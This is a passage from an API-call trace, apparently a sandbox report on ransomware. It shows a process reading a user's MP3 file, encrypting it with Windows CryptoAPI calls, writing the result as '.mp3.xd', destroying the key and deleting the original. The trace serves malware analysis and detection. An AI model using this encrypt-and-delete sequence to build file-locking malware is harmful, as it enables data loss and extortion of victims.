(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz")) returned 0x10 [0064.467] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\rngmio5fuswsj.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0064.515] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.515] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.515] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.515] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.517] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0064.517] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x882f, lpOverlapped=0x0) returned 1 [0064.519] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0064.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.523] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.528] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0064.529] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.530] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.530] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0064.530] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.531] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0064.531] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.532] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.532] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.532] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0064.533] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0064.533] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0064.534] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0064.534] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x1629710, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629710*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0064.534] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.535] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0064.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.535] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.536] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.536] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.537] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.537] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.538] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.538] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.538] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.539] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.539] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.539] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.540] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.540] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.541] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.542] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.543] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621630, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.544] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.545] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x882f, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x8830) returned 1 [0064.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.546] CharLowerBuffW (in: lpsz="byte[34865]", cchLength=0xb | out: lpsz="byte[34865]") returned 0xb [0064.546] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.547] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.547] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.547] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0064.547] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0064.548] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0064.548] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x188e080*, pdwDataLen=0x130e618*=0x882f, dwBufLen=0x8830 | out: pbData=0x188e080*, pdwDataLen=0x130e618*=0x8830) returned 1 [0064.548] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.548] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.548] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.548] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.549] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.549] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.549] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.549] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.549] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.549] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.549] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.549] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.549] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.549] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.549] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.549] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.549] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.556] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.556] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.556] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.558] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x8830, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x8830, lpOverlapped=0x0) returned 1 [0064.560] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.560] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.560] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.560] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.560] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.560] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.560] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.560] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.560] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0064.560] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.560] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.560] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.561] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.561] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.561] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.561] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.561] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.561] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.561] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.561] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.561] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.561] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.561] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.561] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.561] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.561] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.561] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.561] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.562] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.562] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.562] CryptReleaseContext (hProv=0x17abc38, dwFlags=0x0) returned 1 [0064.562] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.562] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.562] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.562] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.562] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.562] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.562] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.562] CloseHandle (hObject=0x2ac) returned 1 [0064.562] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.562] CloseHandle (hObject=0x3bc) returned 1 [0064.572] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.572] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.572] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", lpFilePart=0x0) returned 0x44 [0064.572] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\rngmio5fuswsj.mp3")) returned 0x20 [0064.572] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0064.572] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\RnGmio5fUSWSJ.mp3" (normalized: 